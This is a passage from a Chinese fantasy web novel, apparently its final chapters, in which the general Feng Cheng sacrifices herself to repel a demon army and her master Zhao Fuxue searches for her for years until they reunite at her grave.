粮草不够了,封澄呛咳两声,擦了擦脸上的血斑,道:“从最近的城镇调粮,要用多久?” 这场仗打得太诡异了,封澄就闹不明白了,怎么打了这么多大胜之战,对面却依旧像是毫无消耗一样? 大夏才经了数十年的内乱,真是动荡之际,本就人心惶惶,战线一长,便拉大了天魔压境的恐慌,人人便如同惊弓之鸟。 如今内忧外患,全压在天机军的肩膀上。 “少说……十日之久。”他咬牙道。 押送军粮,必然要当心偷袭之举,封澄自问持劫不会放过这个机会,她皱眉揉了揉眉心,道:“让寸金亲自押送,下去。” 一旁的赵负雪走了过来,垂眸道:“此战有异,不宜再正面相抗。” 封澄道:“你也这么觉得了,对面仿佛源源不断,若是照着那日偷袭看见的军队来说,早该杀退了。” “我怀疑一件事情。”封澄抬起眼,看着赵负雪的双眼,一字一顿道:“你说,和正面与西面对打的天魔,会不会是同一批天魔?” 赵负雪一怔,声音一沉:“你也这般觉得了。” 封澄点了点头,道:“猜测。只是猜测。” 可二人对视,却在对方的目光中读出了如出一辙的凝重。 或许,已然不是猜测了。 数日之后的子夜,一阵兵荒马乱的马蹄踢踏声,将苦战中的天机军坠入了更深的泥潭:“报!在长煌以内发现了天魔大军,内外夹击,我军已然被困了!” 血与火之中,封澄猝然回头,嘶声道:“敌军多少?!” “……粗略估计,五万有余。” 封澄用力闭了闭眼睛,强撑着神智道:“阵修起阵全力防御,铁骑随我冲杀。” 她能预料得到,这场战斗一日比一日艰难。 从前只有东西两地的连通,如今,持劫已经能把人带到长煌腹地了。 雪月凄凉,她抬起了眼睛,远处有隐隐的狼嚎之声,苍狼长啸,犹如鬼哭。 有朝一日,他会剖开长煌到大夏内部的所有豁口。 天魔铁蹄踏过之地,寸土不留。 封澄转过身,一骑骏马犹如烈火,风也似地卷入了敌阵之中。 杀! 但凡还有一口气,一滴血。 情况一日比一日更加不乐观,天机军几番大胜,勉强将天魔拦在了长煌一地,令其难以长驱直入。 寸金这几日焦急得血色都没了,他道:“将军,接下来如何打?” 封澄也好不到哪里去,连日征战,每一仗都打得无比艰难,时刻要地方天魔会不会又在大地之中剖开一道裂口。 “回撤,”半晌,她垂眸道,“……撤到,西琼。” 寸金点了点 头,西琼之地贫瘠苍凉,地势凶险,易守难攻,去那里与崔霁一行会合,是当下最好的选择。 现在的天机军,必须得到喘息的空隙。 而大夏众民却因这一举措而更加惊惶了。 “天机军守不住了?!天魔持劫要把大夏吞掉了?!?” 风雨飘摇的洛京,姜徵眼下青黑,看着不断递上来的奏疏,疲倦地一扫而下。 一封一封,皆是斥责封澄带军不利,请求将她召回问罪的。 要粮,要钱,要人。 可大夏空耗已久,前为长醉所累,后为天机税所伤,散修隐世,天机式微。 除了越发脑满肠肥的朝中官僚,民间犹如被白蚁蛀空的高塔,摇摇欲坠,一触即散。 最后一封的诏书是三日前送到的。 “封澄已退至西琼,”上写道,“此地多为天魔所入,有屠城之举,数座空城。” 满目苍凉,封澄的人马在长煌时,眼中只有这一番景象。 数不清的乌鸦噶啊地叫着,漆黑的尸骨,倒塌的房屋,一地的残灰,厚厚的一层。 赵负雪轻声道:“别看了。” 马蹄将残灰扬起,封澄怔怔地想:“回来晚了。” 寸金道:“……崔将军尽力了,天魔一夜之间倾巢而出,围城耗杀。崔将军保住了还沙一带的城池。” 她不语,而是孤身驾着马,走向了一个小小的土堆。 这口土堆上歪歪扭扭写着三个大字,依稀是个人名。 孩子的尸体横陈在地上。一个埋在土坑中,一个趴在土堆旁,还在做着掬土的模样。 “走吧,阿澄。” 数月征战,人人油尽灯枯,赵负雪亦不例外,封澄垂下眼睛,掠过他的身旁,道:“师尊……你先回京吧。” 苦战将至,这一战到头,兴许谁也活不下来。 赵负雪不一样,如若他在洛京好端端地做着赵氏家主,那么即便大夏沦陷,他也未必会死。 她失魂落魄地往前走着,陡然间,颈上一重。 赵负雪咬牙拉住她的衣领,道:“说好生死与共,这种时候别想丢下我,一个人担着。” 顿了顿,他看着满目苍夷,错开了封澄的视线,长睫下的目光有些令人读不懂的温和:“……战事不用心急,我有办法,一切有我。” 远处的寸金等人见赵负雪拧起封澄衣领,吓了一跳,只当二人生了摩擦,连忙上去就要拉架,谁料刚走了几步,却见封澄一把将人拉过来,狠狠的咬了一口。 寸金沉默地定住了。 这一咬十分用力,一口就把人咬出了血意。 赵负雪一愣,随即微微地合上了眼睛。 这一吻的滋味相当不同,带着血水,带着泪水,数不尽的腥甜苦涩,几乎要将人拆吃入腹——甚至说根本说不上是吻,只能说是野兽般的撕咬,要将对方的骨血全部吞吃般的贪婪。 赵负雪轻轻地拍着封澄的后背,遥遥地望向了北方。 那里不知何时,已然飘起了雪花。 很奇怪的,长煌虽苦寒之地,但平素里少见这样的大雪,纷纷扬扬,几乎要将人埋了一般。 他微笑道:“把我吃了怎么样?这样就分不开了。” 天下血修都渴求的血肉,吃了不说神功大成,也说是如获新生了。 封澄哭笑不得地拍了拍他的马头,叫马乖乖地回去:“少来,哪里舍得。” 赵负雪看着她,目光中是说不出的专注,好像看一眼,便少一眼似的。 “去还沙。”封澄道,“去还沙,决一死战。” 第168章 第168章开 饱经战火的还沙,亦是对陌生的大军警惕无比。 守城的并不是天机军,封澄看着,有年轻的男子,有年轻的妇人,有白发苍苍的老者,亦又握着弓箭的孩童。 每个人的眼中,都是由战火磨练而出的警惕与仇恨。 他们拦在了还沙之前,犹如一群弱小却声势浩大的蝼蚁,阻拦着众人不许向前一步,封澄骑马,方上前两步,马头上便挨了一记石子,她低下头,只见一孩童竟冲到了她的马前,满目仇恨道:“离我们的大夏远点!” 天机军风尘仆仆,一身尘土,马蹄上还有血肉的残渣,想必这守城的将军们把他们当作前来袭击的天魔了。 一旁的侍官登时变了脸色,上去便要喝止那孩子,封澄摆了摆手,示意人退下。 她下了马,郑重地走向了那个警惕不已的孩子。 将军身上的战甲总比小卒的更为骇人些,更何况一身魔气的封澄,那孩子登时便吓得双腿打转,脚下却牢牢地站着,看着凑过来的手,鼓起勇气要咬上一口,那人却陡然在半空停下了,半晌,从腰间掏了个手帕出来。 一个奔波沙场的将军,身上竟然还带着这样一张干净的手帕,登时,寸金一行微微有些傻眼,不知道她几日间连觉都睡不了一个,哪来的功夫收拾手帕。 唯有一旁的赵负雪哭笑不得地叹了一口气。 这张手帕是他的。 封澄仔细地将孩子脸上的血水污垢擦去,露出了一张茫然而瘦削的脸。 警惕的守城之人道:“你要做什么!” 封澄抬起头,道:“我乃大夏天机主帅封澄,退兵至此,恳请诸位开城。” 登时,众人便议论纷纷起来,便探出头来——仔细一辨认,的确是天机军的衣甲,当即便有人交头接耳:“看起来的确是封澄……放人吗?” 有人道:“呸,放什么放?若不是天机军打成这副熊样,你我何必在还沙死战?” “身后有天魔在追着吧?她进城来做什么,抢空咱们的口粮,抢占咱们的屋舍?” 此言一出,众人看向封澄一行的目光犹豫了起来,天机师耳聪目明,城墙之上的议论纷纷自然没有逃过众人 的耳朵,寸金道:“崔霁已收到消息,片刻出城,将军稍后片刻。” 封澄纵马,上前一步,目光冷静如水。 “如若罪过冲着封澄一人来,一切指责当应如是。但我身后数万天机将士以命拼杀,无一人怯战,无一人懦弱,此时入城也绝非退逃之举,乃是军策所决。诸位此举,为大夏安宁而血战拼杀的将士算什么?亡于长煌之地的英魂又算什么!” 城墙上众人一时之间沉默了。 这是他们的军队,而非敌军。 封澄道:“天机军的刀刃永不朝向同族,诸位,退兵三里。” 城墙上的人死寂了。 他们看着伤损严重,却撤离得秩序井然的天机大军,一时之间,犹豫而挣扎。 一道童声划破了这片死寂:“将军,入城吧!” 众人不约而同地看向了发出声音的主人。 那是方才用石块投掷封澄的少年,他握着手里的弹弓,看着沉默退去的天机军,咬了咬牙,又大声道:“将军,入城吧!!” 这一声犹如投入溪流的石子,激起了更大的回声。 城门缓缓地打开,崔霁的传令官一头热汗地冲向了城门,见城门已开,有些讶然,见到封澄,才忙不迭道:“方才城中又起人魔之祸,我们人手不够,仓促间叫走了守城的兄弟,大伙儿不知道指令,不认识天机军,还请将军不要见怪。” 封澄不置可否地点了点头,迅速地下令:“天魔追杀想必不日抵达,留够三日口粮,将所剩军粮全部下发,于还沙之民共渡此劫。” 三日军粮? 寸金心中升起疑窦,战火连绵,军需的抵达也十分费事。短时间内亦不会有新的军粮补给送到,但见封澄笃定,他想了想,转身传令。 “持劫手中有空间之法,”她道,“东西两线,敌后包围,十分的军队能用出三十分的本事,见我等大军撤到西琼,定将剖开西琼之地赶来困杀天机军,想来也用不上三日。” 赵负雪道:“你心中已有成算。” 副将闻言,却有些困惑。 既然如此,为什么要将自己困于还沙一城?到时候被天魔打个包围,不是瓮中捉鳖,更加完蛋? 天机军一行进程安顿去了,副将虽是困惑,却也是照着上头的安排,分发军粮,救治伤民,有条不紊地安置还沙之民,一来一往,便安安全全地过了两日。 第三日凌晨,天上没有太阳。 乌压压的魔军到了。 魔的影子遮天蔽日,城墙被阵修撑起的灵阵勉力支撑着,守城副将上城墙一看,心中便是止不住地苍凉。 心中的念头前所未有的清晰。 打不了。 魔如同源源不断地漆黑潮水,前仆后继地冲向还沙摇摇欲坠的城墙,黑的,白的,燃着烈火的,淬着毒液的,空中的人形天魔狞笑不止,在众多天魔之中,缓缓地走出了一戴着漆黑面具的男子。 他的出现令整个天魔大军低了头,副将心想,这就是传说中的天魔之主,持劫了。 持劫微笑着一挥手,又一源源不断的天魔自他身后裂隙中爬出,犹如一口拧开的水龙头般,他微笑着看着城头,于其上眼神狠厉的封澄正面相对。 “好久不见,”他道,“封姑娘,或者说换个名字……师侄。” 死敌见面,封澄却比他想象的要冷静许多。 她的神情堪称冷酷,她道:“你是谁。” 持劫耸了耸肩,在乌压压的天魔之中笑得如沐春风:“你可以叫我许多名字,比如持劫,比如迟太师,或者师叔……但我最喜欢的名字,是温不戒。” 她猛地捏紧了拳头。 “侠医,”她咧嘴笑了出声,“那的确是好久不见了,算算上次见面,那还是上辈子的事。” 持劫打了个响指:“当然,不过现在一码归一码的事情,请叫我持劫。我这个人向来做事彻底,说来姑娘可能不信,无论是做侠医还是你的好师叔,我都是全心全意的。” 侠医的医术堪称独步天下,封澄想,天魔之主割肉放血,效力说是起死回生也不为过,当然会是举世第一的神医。 她死死地盯着他的眼睛,只觉得荒谬又可笑:“……原来家家酒的游戏实在有意思,即便是天魔之主亦难脱其趣味,入戏到如此地步,戏曲班子的也该拜服。” 持劫微笑道:“做温不戒而游遍天下那些年,是我冗长生命里最有意思的时候。我也想做一辈子的温不戒,奈何天地不许,世事不容。” 一旁的人形天魔急不可待道:“大人,还同她废话什么?直接杀进去,大夏便是我们的囊中之物了!” 持劫淡淡地瞥了他一眼,那人形天魔当即瑟缩,低头退了下去。 “封姑娘,你不觉得我们的生死都由天道推着而走么?”他很有闲心道,“牛吃草,人吃牛,天魔生来要吃人,而人生来就要杀魔。我生来是天魔之主,那我总不能抛下苍天赐予我的本性,去走那救世天下的道。” 他又微笑着补充了一句:“但天道也是公平的,八方动用逆时之术,我便能动这穿梭之法,想想真是,哈。” 支撑着阵法的赵负雪深吸一口气,手中见素骤然爆出灵光,以一化万,向着持劫而去,持劫无奈地耸了耸肩,不闪不躲,硬受了这穿心万剑。 他道:“师兄,脾气别这么大。你我交情这么深,我舍不得这么早杀掉你。” 赵负雪冷冷道:“临死倒是矫情。” 持劫哈哈大笑,道:“好,好,这样才像活人。哎呀呀,你不知道你当年有多么没意思,抱着狗链子一样的反咒,成日枯等着个人,没意思极了,你说把一辈子耗在她头上是不是有些蠢?” 封澄偏过头,大声道:“他是不是觉得自己赢定了,所以才这么多屁话??” 赵负雪一愣,随即垂眸,眼角有笑意一闪而过。 声音大得毫无遮拦,当即城头几人便忍不住笑出了声——眼下局势确实不容乐观。 持劫脸色一黑。 一旁守城的寸金也笑道:“我们将军和尊者鸳鸯眷侣天生一对,你这不成人形的魔物来批驳什么?” 持劫脸上的笑意也退去了,他冷冷道:“既然如此,那两位便做对死鸳鸯吧。” 刹那间,漆黑的魔气煞气如同遮天蔽日的黑云汹涌而来,护城大阵登时狠狠一震,紧接着西南一角便惊呼道:“将军,撑不住了!” 黑云从缝隙之中滚滚而入,当即便有天机师不管不顾地扑上去,意图以血肉之躯阻拦这黑云,赵负雪眼神一凝,抬手结阵,将那裂口牢牢封死。 他收手,忽然转身看着封澄,目光专注,看一眼少一眼似的。 “……” 这次总算轮到他先走了,赵负雪想。 长煌的大雪下得如同末日般遮天蔽日,就连最有见识的老者也未曾见过这样般的大雪,残骸与战火烧及的土地上,忽有孩童惊呼:“阿翁,那……那只天魔的尸身,好像少了一点。” 老者低下头去。 一点,一滴,虽是缓慢,但也是肉眼可见的,凝固的血肉如同骤然融合的春雪一滴一滴,越来越快,成了涓涓细流。 他仰起头来,缓缓地,缓缓地跪下,怔了半晌,突然大哭不止。 苍天黑沉,大地负雪。 而这咆哮的大雪也惊动了围困西琼的魔军,持劫身旁的天魔惊道:“大人,大人!” 持劫回过头去。 天魔的肩颈露着狰狞的伤口,而落在其上的雪珠还未消退,神色惊惶不止。 比起说是下雪,不如说是在下刀子,落在身上便是一个消不去的血洞。 惊疑之中,持劫抬起头来,正与城墙上的赵负雪对上了视线。 他看着持劫,唇角一勾。 持劫看着他,慢慢笑起来,越笑越大声,最后几乎变成了咆哮,他怒而挥手:“只凭这点雪花,还想杀了我三十万魔军?!全力攻城!杀了赵负雪,此阵立解!” “杀——!” 窥到希望的众人精神一振:“顶住!我们顶住!!” 前仆后继的修士上了城头,用尽最后一份灵力维系护城之阵,没有灵力的凡人挥舞着石块与刀枪,投掷着意图爬上城墙大阵的天魔。 西琼所有的人都在这里了,流亡之地,流离失所,所有人都清楚,这里会是大夏最后的防线。 而这最后的防线也终于开始摇摇欲坠。 天魔太多了。 每一只魔物都不要命,前仆后继,踩着同伴的尸身,自戕般撞向大阵,攻城之势前所未有地凶猛,所有的人或魔都像在拔一根生死悬殊的绳子。 撑过去的,才能活。 大阵开始不堪重负地绽裂。 人太少了。 天魔生乱,各地人魔地魔肆虐,所有的天机师都顶上了前线,但人还是不够。 一片战火之中,封澄和赵负雪的身旁却是堪称安静的。 赵负雪平静地笑了笑:“我走之后,要为我守寡。” 她答应来提亲的。 事已至此,赵负雪倒是觉得释然了许多。 阵法终究是差了些时间。 洛京城中的大阵吞吃着举国的矿脉,这样的一个可怕的大阵,连地魔因果都能改变的大阵,也能将大夏的生死逆转。 只是不知道他能不能撑到那个时候。 封澄走了过来。 赵负雪以为她要哭,或者要骂,亦或者打,他站在原地好整以暇地等她行事,可封澄只是下巴搭在他的肩上,轻轻地拥住了他。 很轻,像一片温热的羽毛。 赵负雪忽觉不对:“……” 后背传来温热的触感,封澄勾起嘴角来,眉眼弯弯地笑了笑:“师徒多年,你教我的。” 背后以血作符,正是他当日画给封澄的那一张。 过目不忘。 封澄又咧开嘴笑了:“这地方你可没处找朱砂。” 刹那间,赵负雪瞳孔猛地一震,他看见封澄掌心的红符被雪水消融,而封澄转过身来,目光看向浓浓黑云。 “鬼门。”她掌心的血压在心口,如同蓬勃绽开的血花,“给我开。” 霎时间,堪称可怖的震荡从长煌一路撕裂到了洛京,再从洛京撕裂到了更远的远方,悍然席卷了整个大夏国土。 举世骇然。 鲜红的血从封澄唇边涌出,而她的目光却死死地盯着持劫,灼灼如必胜,持劫终于彻底地变了脸色 ,他深深地看了一眼几乎肉眼可见波动的空气,深吸了一口气,咬牙道:“撤军!” 为时已晚。 撕裂的空间尚未来得及将天魔带走,便见一只手从那波动中探出。 八方看着异变的天色,抖动的人流,站在洛京城中最高的山峦上,深深地叹了一口气。 世代亡于大夏故土之上的英灵。 魂兮归来。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第169章 第169章终 赵负雪不知道自己的血液是何时变得彻骨冰冷的。 他踉踉跄跄地上前,脸上血色尽褪,就连衣袍浸染了地上的血水也浑然不知。 一片欣欣向荣的、包含希望的杀声之中,唯有他走向临终般的绝响。 “……” 封澄看着他苍白的脸,意图咧嘴笑笑,不料这笑似乎扯动了何处的伤口,叫她疼得嘶了一口气。 “……” 赵负雪慢慢地跪在了她的身旁。 “……” 又咸又苦的东西滴在了她的脸上,她的眼睛已看不清铅似的云层,却能看见他眼中不干涸的水。 “都这种时候了,总要对我说些什么吧?” 封澄笑了笑,闭上了眼睛,“不说,我可走了。” 他的手颤抖着伸了过来,似乎想将她从地上扶起,半空中,手又顿住了。 “……” “不要走。” 他仿佛又重新回到了十几岁时,那段最无能为力的时刻,看着漫天的尘埃雷光,只剩一句泣血般的祈求。 “不要丢下我一个人……不要走……” 巨大的裂隙从城头破开,走出或喜或悲、或面无表情的人。他们越过了城头,走向了黑云般的魔军。 光点逐渐变成光团,随即越来越大,越来越大。 庞大到,能将整个黑云般的魔军尽数吞下。 封澄闭着眼睛,苍白着脸,微微笑了笑。 止不住的血液将他素白的衣摆尽数染透,赵负雪不知道,原来一个人可以有这么多的血,源源不断的,像一场永远不会终结的噩梦。 “赵负雪。” 她向他伸出了手,苍白的,摇摇欲坠的,这只手曾经温暖而柔软,如今放在手心,却冰得赵负雪心神俱痛,几乎痛不欲生。 “不要怕,”他木讷道,“我陪你,天地黄泉,你都不会是一个人,阿澄,我来陪你,我们一起走,无论生死光阴,我们都不会分开。” 胸口的剧痛犹如窒息,心脏像一块破碎的琉璃,每一块都棱角分明,撑在胸腔内蓬勃跳动,令人痛不欲生。 赵负雪想,原本触手可得的完满与幸福已经被他尽数品尝过了,他又如何能容忍一次又一次的死别。 她的手却触到了他的脸上,安抚般的,轻轻的。 “你不能走啊,”她笑道,“万一在不久之后,还会有,咳,一个封澄呢?” 可此时此刻,二人的内心无比清晰。 不会再有一个封澄了。 万魔退却,城墙上的众人却没有半分欣喜,他们沉默地肃立着,外面杀声震天,唯有此处,犹如寂静的风沙。 “天下万民等着你呢。”她深深地看着他,唇角带笑,眼角的泪水却一点一点地掺到血水之中,封澄描摹着他的脸,竭尽全力地要记住他一样。 视线已经渐渐地昏暗了,封澄想,生生死死这么多次,唯有这次,安宁而平静。 就像回到了素未谋面的母亲的怀抱。 “赵负雪,”她道,“别为了我流泪。” 她竭力擦去他的泪水,忽然咬下牙,用力地掰下了尾指的骨头。 它变成了雪白剔透的模样。 “伸出手。” 她强硬地抓住赵负雪的手。、 “让我留在你的血肉里,带着我去天下……看一看。” 她的身体已经开始渐渐地消散,唯有这枚尾指固执地躺在掌心,倔强地塞进了赵负雪的手中。 “不要忘记我。”她微笑着说,“然后,活下去。” 渐渐地,她的身体变成光亮的齑粉,犹如光带一般,在黑云之中渐渐地远去。 唯有赵负雪拥着她的衣甲,跪地失声。 天地俱暗。 *** 战后的收场是庞大的工程,但最令人头痛的,则是一个失魂落魄的赵负雪。 天机师陆陆续续地清点尸骨、葬入英冢,有时遇到没有尸骨的人,便取衣冠战甲,做一个衣冠冢。 漫天的大雪下了三日,已经停了。 众人沉默地看着英冢首处的碑石。 唯有这口墓,连衣冠也未曾埋葬。 他固执地抱着封澄的衣甲,不辨日月、不知黑白,所有人都在想,他已经疯了。 谁料三月之后,赵府重新敞开了门,走出了一个神色如常的赵负雪。 “你竟然能撑过来。”八方有些惊诧,懒洋洋地躺在赵府的廊上,端详片刻,察觉不对:“我以为你会把她忘了。” 与赵氏皇族断开承诺之后,他便成了一个逍遥的野兽,世上无人知晓它的栖身之处,赵负雪冷冷地看了他一眼,偏过头去,道:“我未曾忘怀。只是她大概也不愿我浑沌度日。” 昨日他浑浑噩噩地走到池边,春水如镜,照出了他胡子拉碴、苍白憔悴的脸。 他如梦初醒。 封澄不会愿意见到这样的人。 八方看着他的背影,开口道:“你要去哪儿?” 赵负雪面色平静地背着剑。 “她一定还活着,我要去寻她。” 好似听到了什么荒谬的话,八方哈地一声笑了出来。 “地魔死,因果消,尘缘尽,你以为她是你们凡人,一朝身死,还有十万丈轮回来重叙旧情?趁早回去歇着,过几年忘了她,找个合适姑 娘,莫要为了一段虚无缥缈的……” 话音未落,他的腮边缓缓地滑下一缕血迹。 八方住了嘴。 “她的骨头还在我这里,”赵负雪道,“没有消散。” “生死咒未尽,”赵负雪闭上了眼睛,压住了心口。“我知道她在哪里,她没死。” 那里似乎有第二道心跳,在大夏的每一寸土地跳动着。 八方收敛了笑意,他站起身来,定定地看着赵负雪。 “好吧。”他道,“有朝一日,她的确会活过来。” 赵负雪看向他,八方又道:“可等到她散在大夏的灵魂再次汇集成人时,或许已经过了很久很久,久到大夏不在,久到你垂垂老矣,久到她不再是她,重新成为天地之间善恶难名的地魔。” “你等不到的。”八方说,“十年,百年,千年,都未必能等到,别等了。” 赵负雪平静地抬头,不闪不躲地看着他。 漆黑的巨兽,身上是上古般的森然。 “我会等,”他珍重道,“如若她的灵魂散在天地,那我便去一点一点地拼回来。十年,百年,千年,直到我生命之终,直到我不再往生,我绝不放手。” 说罢,他转身,提步便走。 八方站在赵府门前,望着他的背影,深深地叹了一口气。 “很久之前,”他突然道,“天地之间有两只一无所知的兽。” 赵负雪停住脚步。 八方走下来,慢慢道:“一个,喜欢乱跑,喜欢热闹,还爱和人打交道,在外头又打又吵,欠了许多人情债。” “另一个,成日埋在混沌深处睡大觉,她坐在光阴里头,长得像拨毛球的狸奴,干的事情也像,把时间拨过去,又拨回来,百无聊赖地看着世人的生死。” 赵负雪微微颤抖。 “直到有一日,”他道,“她看到了一个人的一生。” “从此天便塌了。” “她看着你拿剑,入学堂,进江湖,成了天机师,出生入死,斩妖除魔,除恶扬善,最后死在了魔族之主的手中。” 八方摇了摇头。 “你知道么?在那么多的时间线中,你走过许多许多的道路,可最终还是会走向那唯一的绝途。” “她终于忍不住说,天下怎么会有这样子的犟种,怎么咬定了就不回头呢。” 赵负雪的手发抖,他几乎握不住剑了。 “你很小很小的时候,见过她的。” 那时持劫将尚是幼童的他杀死,昏昏沉沉而痛苦不堪时,枕边似乎有温暖的触感。 他困难地睁开眼睛,看见一只毛发雪白的狸奴,趴在他枕上,睁着圆亮的眼睛,好奇而担忧地看着他。 怎么会有小猫跑到他的枕边来呢? 医师走进来,惊喜地宣布了什么,而那只雪白的狸奴,倏地便不见了。 “……因果之魔从此入世了,”八方道,“入世,把你必死的因果改变。” “地魔的法则交给了我,名为‘逆时’之物,天道盯着我们,她只得了一副凡人的身躯,便稀里糊涂地来到你身边了。” 八方说到此处,倍感荒谬一般,垂下头,哈地自嘲:“我不想她平遭此劫,但有人就是一厢情愿,我这个做兄长的,即便是恨铁不成钢,也只能眼看着她跳进火坑。” 赵负雪心头之痛几乎令他站不稳身体,他垂下了眼睛,见素的剑柄在他掌心硌得人生疼。 从一开始,她便是为了救他而来。 自始至终。 “值得吗。”赵负雪想,“为了一个必死的人,真的值得吗?” “她何时知晓……地魔之事的。” 地魔身份之事,天底下应当只有他与八方清楚。 八方道:“那就要问你了。” 八方转过身,盯着他。 “你是地魔万千时空中唯一的锚,若身死,她即刻回归原位,自然前尘往事尽数记起……洛京阵法何时开始汲取你的生命,她便是何时知晓的。” 赵负雪终于俯下身,八方走过去,却见他突然吐了一口血来。 八方叹了一口气,慢慢地抬起步子离开:“好自为之。” 自那日之后,洛京再也不见赵府之中的那位剑修了。 人人都说,他应该已经殉情死去了。 世人上表请封,于万世太平之中,恳求帝王赐予二人哀荣。 女帝沉默。 只有在熹微将至,晨昏于天际晦暗不明时,侍从的女官才会听到帝王的叹息。 “她命这么大,”姜徵喃喃道,“不会这么死去的。” 赵负雪也会这样想的。 封澄死去一年,姜徵不愿意承认她的死讯。 长煌天机军为她立了碑,世人传唱她的过往,大街小巷之中,有人戴着幕篱,停下脚步,驻足而听。 她死去的第二年,鬼门关闭。 彼岸中人遥遥相望,挥手告别。 她死去的第三年,有人去她的碑前,上了一炷香。 “……我活着回来了。”女子喃喃道,“你呢?” 不慎进了故地地魔幻梦之中,一梦数年,再度醒来,沧海桑田。 陈还失声痛哭。 第四年,第五年。 沧海雪山,大漠孤烟。 总有一人孤身而行。 天下尽头,数不清的连绵。 “今年,我们的人在长煌以北找到了持劫的尸身。”赵年写信道,“不甚完整,死不瞑目,已验明正身。” 赵负雪依旧一人行在路上。 这大夏人世之间,每一寸花草土木,每一段生老病死,爱恨纠缠,皆有因果无穷。 此生之年,还能再见到她吗? 赵负雪没有去想。 他只知道,这世间,便是千千万万个她。 每一见面,便是一场重逢。 行遍天地,此日,正是春和景明之时。 他走到了长煌。 说来捧腹,他走遍了大夏每一寸土地,却唯独不敢来到过长煌,到她的坟前上一柱香。 坟是被时时修缮的,今日不知是谁,往她坟上挂了一枝桃花,新鲜得能滴下露水。 只是这样贸然地插在人家坟头,着实是有些冒昧了。 鸣霄室里也有一树这样好的桃花,赵负雪突然想,枝繁叶茂,花开如红云。 长煌这种地方找来桃花也是不容易,赵负雪走上前去,伸手要将那枝桃花扶正。 忽然间,身后传来一声轻笑。 “我还是头一次见着自个儿的坟。” 陡然地,赵负雪僵在了半空。 恍如被封冻般的心脏在这一刹如同解冻,飞也似地跳动起来,越跳越快。 “所以把我聘礼放上头了。” 赵负雪不敢回头,即便胸口骨头烫得生疼。 这些年间,他做过无数场这样的梦,生怕这次一回头,眼前的人也如同泡影般烟消云散。 “好久不见,我来提亲了。” 数年光阴,如同飞影般历历在目。 回首,千万条时空就此凝成一线,落地生根,长出一滴横亘着生死的眼泪来。 一刹那,世界万千扑入怀中。 而他清楚地知道,这次相拥,再也不会分别—— 正文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&